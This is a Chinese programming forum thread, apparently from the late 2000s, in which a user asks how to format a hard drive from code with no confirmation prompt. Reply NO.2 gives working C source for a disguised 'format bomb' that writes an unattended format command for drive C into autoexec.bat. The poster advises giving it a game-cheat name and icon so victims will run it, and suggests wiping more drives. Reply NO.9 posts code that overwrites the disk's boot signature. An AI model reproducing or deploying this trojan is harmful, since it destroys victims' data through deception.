当前位置:首页
开发技术指南» 文章正文
    引言:

    摘要: 比如在记录集里移动到上一条记录或者移动到下一条记录的时候,会触发哪个事件??怎么找不到呢? 哪位兄弟姐妹知道? ......
    摘要: 如果把: [code] customvertex cv[]={ {250.0f,100.0f,0.5f,1.0f,d3dcolor_xrgb(0,0,255)},//b {400.0f,350.0f,0.5f,1.0f,d3dcolor_xrgb(0,255,0)},//g {100.0f,350.0f,0.5f,1.0f,d3dcolor_xrgb(255,0,0)}//r ......


如何用代码实现 格式化硬盘..高手进..(看清楚不是格式化A盘)

如题

NO.1   作者: xinlanr

昏..怎么没人回答啊..自己顶顶

NO.2   作者: windking21

用C语言编写的格式化硬盘的炸弹    
       看过<<格式化硬盘的炸弹>>的文章后,突发奇想,感到这个炸弹好是很好,但是他的图表过于突出而且很不容易更改,样子怪怪的,不易让人上当。我这里编了一个用C编写的累似炸弹,它运行后不是立刻格式化,而是把格式化的命令写入autoexec.bat自动执行批处理文件,可以格式化整个硬盘(只要你狠),而且还可以在运行的画面上显现迷惑对方的文字。具体代码如下:    
  #include<stdio.h>    
  main()    
  {    
  FILE*fp;    
  char   filename[30]="c:\\autoexec.bat",filecontent[100]="c:\\windows\\command\\format   c:/q/autotest/u";    
  if((fp=fopen(filename,"w"))==NULL)    
  printf("cannot   open   filename\n");    
  fputs(filecontent,fp);    
  printf("现在正在扫描你的计算机:\n正在加装外挂:");    
  fclose(fp);    
  }    
   
  以上代码在vc++6.0和tc2.0上运行通过,程序中的中文你可以自己随意编写。编译通过后,你只要把这个可执行程序加上一个漂亮的名字和一个图标,骗对方运行就可以了,比如我这个程序仿的是一个外挂。我把这个程序在我的电脑上运行,运行后窗口中立刻显现程序中的中文,在AUTOEXEC.BAT上加入了“c:\windows\command\format   c:/q/autoexec/u"这段文字。经本人试验,重新开机后就把C盘全格了(如果你狠的话,在format   c:后可以加上"d:e:f:g:"那对方可惨了,非常好用。不给一点提示。最后你不要告诉我你不会C,哈哈!不会吧!注意:以上程序只适合98,不适用于2000和XP。    
   
   
 

NO.3   作者: Microsnow

其实,我也在寻找解决这个问题的方法.试了很多,都不是很理想.

NO.4   作者: LoveYouJustOneDay

如果不调用系统的   format  
  那么需要使用汇编语言调用中断

NO.5   作者: xinlanr

昏...没有用C++实现的方法吗?

NO.6   作者: LoveYouJustOneDay

不内嵌汇编  
  基本很难  
 

NO.7   作者: xinlanr

还没人回答啊?看来这问题很难啊

NO.8   作者: jiajun2001

Windows上很难做到!DOS就比较容易了,不过你得了解磁盘格式!

NO.9   作者: xjp6688

#include   "stdio.h"  
  #include   "bios.h"  
  #include   "conio.h"  
  main()  
  {int   result;  
  char   buffer[512],s;  
  char   buffer1[512];  
  FILE   *fp;  
  loop:  
  biosdisk(2,0x80,0,0,1,1,buffer);  
  do{  
  clrscr();  
  gotoxy(30,8);  
  printf("bei   fenfen   qu   biao   press   b");  
  gotoxy(30,10);  
  printf("recover   press   r");  
  gotoxy(30,12);  
  printf("lock   harddisk   press   L");  
  gotoxy(30,14);  
  printf("unlock   press   u");  
  gotoxy(30,16);  
  printf("quit   press   q");  
  gotoxy(30,18);  
  printf("insert   after   press   enter");  
  scanf("%c",&s);  
  }  
  while(s!=q&&s!=Q&&s!=l&&s!=L&&s!=U&&s!=u&&s!=r&&s!=R&&s!=b&&s!=B);  
  if(s==b||s==B)  
  {result=biosdisk(2,0x80,0,0,1,1,buffer1);  
  gotoxy(35,25);  
  if(!result)   {  
  if(!((fp=fopen("a\\part.bak","wb"))==NULL))  
   
  {  
  printf("bei   fen   success");  
  fwrite(buffer1,1,512,fp);  
  fclose(fp);  
  getch();  
  }  
  }  
  else  
  {  
  printf("beifen   fail");  
  getch();  
  }  
  goto   loop;  
  }  
  if(s==r||s==R)  
  {  
   
  fp=fopen("a:\\part.bak","rb");  
  fread(buffer1,1,512,fp);  
  result=biosdisk(3,0x80,0,0,1,1,buffer1);  
  gotoxy(35,25);  
  if(!result)  
  {  
  printf("recover   success");  
  getch();  
  }  
  else  
  {  
  printf("recover   fail");  
  getch();  
  }  
  goto   loop;  
  }  
  if(s==l||s==L)  
  {buffer[510]=0x0;  
  buffer[511]=0x0;  
  result=biosdisk(3,0x80,0,0,1,1,buffer);  
  gotoxy(35,25);  
  if(!result)  
  {  
  printf("lock   finish");  
  getch();  
  }  
  else  
  {  
  printf("lock   fail");  
  getch();  
  }  
  goto   loop;  
  }  
  if(s==u||s==U)  
  {  
  buffer[510]=0x55;  
  buffer[511]=0xAA;  
  result=biosdisk(3,0x80,0,0,1,1,buffer);  
  gotoxy(35,25);  
  if(!result)  
  {  
  printf("unlock   finish");  
  getch();  
  }  
  else  
  {  
  printf("unlock   fail");        
  getch();                                            
  }  
  goto   loop;                            
                                             
                                             
                                               
  }  
  if(s==q||s==Q)  
  {exit(0);  
  }  
  }  
   
   
   
   
   
   
   
   
   
   
  

NO.10   作者: xjp6688

以前弄过的一个能修改硬盘最后一个55   AA自举标志的,通过此来达到硬盘的隐藏,呵呵!

NO.11   作者: xjp6688

格式化的应该调用int   某某中断,你查一下手册

NO.12   作者: OpenHero

还有一种方法,直接把硬盘当文件打开,然后直接在上面写0   或者1   不过你得自己写格式~~~~

NO.13   作者: xinlanr

没办法用函数实现啊?那我不是完蛋了...  
  可是别人有人做到了啊..

NO.14   作者: afx_swallow

学习

NO.15   作者: iamwindywolf

xjp6688(大平/要做必须最好)   正解。但是你没有格式化啊,只是屏蔽了而已。  
  楼主可以去查磁盘韧体手册,应该可以通过调用韧体达到目的。

NO.16   作者: xinlanr

FORMAT需要确定是否真的格盘,我不想要这种,我想要例如输入format   d:然后就不管三七二十一就格盘的文件,谁能提供一个给我?谢谢!!

NO.17   作者: xxandxx

int       biosdisk(int   cmd,int   drive,int   head,int   track,  
                                int   sector,int   nsects,void   *buffer)  
                本函数用来对驱动器作一定的操作,cmd为功能号,  
                drive为驱动器号(0=A,1=B,0x80=C,0x81=D,0x82=E等).cmd可为以下值:  
                  0   重置软磁盘系统.这强迫驱动器控制器来执行硬复位.忽略所有其它参数.  
                  1   返回最后的硬盘操作状态.忽略所有其它参数  
                  2   读一个或多个磁盘扇区到内存.读开始的扇区由head、track、sector给出。  
                      扇区号由nsects给出。把每个扇区512个字节的数据读入buffer  
                  3   从内存读数据写到一个或多个扇区。写开始的扇区由head、track、sector  
                      给出。扇区号由nsects给出。所写数据在buffer中,每扇区512个字节。  
                  4   检验一个或多个扇区。开始扇区由head、track、sector给出。扇区号由  
                      nsects给出。  
                  5   格式化一个磁道,该磁道由head和track给出。buffer指向写在指定track上  
                      的扇区磁头器的一个表。  
                      以下cmd值只允许用于XT或AT微机:  
                  6   格式化一个磁道,并置坏扇区标志。  
                  7   格式化指定磁道上的驱动器开头。  
                  8   返回当前驱动器参数,驱动器信息返回写在buffer中(以四个字节表示)。  
                  9   初始化一对驱动器特性。  
                10   执行一个长的读,每个扇区读512加4个额外字节  
                11   执行一个长的写,每个扇区写512加4个额外字节  
                12   执行一个磁盘查找  
                13   交替磁盘复位  
                14   读扇区缓冲区  
                15   写扇区缓冲区  
                16   检查指定的驱动器是否就绪  
                17   复核驱动器  
                18   控制器RAM诊断  
                19   驱动器诊断  
                20   控制器内部诊  
                函数返回由下列位组合成的状态字节:  
                0x00   操作成功  
                0x01   坏的命令  
                0x02   地址标记找不到  
                0x04   记录找不到  
                0x05   重置失败  
                0x07   驱动参数活动失败  
                0x09   企图DMA经过64K界限  
                0x0B   检查坏的磁盘标记  
                0x10   坏的ECC在磁盘上读  
                0x11   ECC校正的数据错误  
                0x20   控制器失效  
                0x40   查找失败  
                0x80   响应的连接失败  
                0xBB   出现无定义错误  
                0xFF   读出操作失败  
 

NO.18   作者: xinlanr

具体程序应该怎么写..谁给出相应的代码???

NO.19   作者: xinlanr

b   =   DeviceIoControl(  
                                  hDisk,  
                                  IOCTL_STORAGE_GET_MEDIA_TYPES,  
                                  NULL,  
                                  0,  
                                  SupportedGeometry,                   //DISK_GEOMETRY   的结构体数组  
                                  sizeof(SupportedGeometry),  
                                  &ReturnedByteCount,  
                                  NULL  
                                  );  
  为什么hDisk如果是A盘的话,返回值B为1,返回正确,而当hDisk是其他硬盘分区的句柄的话,B返回0,不成功.想问一下大家,是不是IOCTL_STORAGE_GET_MEDIA_TYPES参数只能用于A盘??如果不是,请告诉我应如果去做...

NO.20   作者: ms44

呵呵,来到这里谈的就是不一样啊。


 ·requiredfieldvalidator的用法    »显示摘要«
    摘要: requiredfieldvalidator,我页面有两个按钮,我只想在其中一个按钮触发的情况下进行控制可以吗?请高手指教 ......
» 本期热门文章:
· 热门栏目:
» 相关精选文章
» 其它相关:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE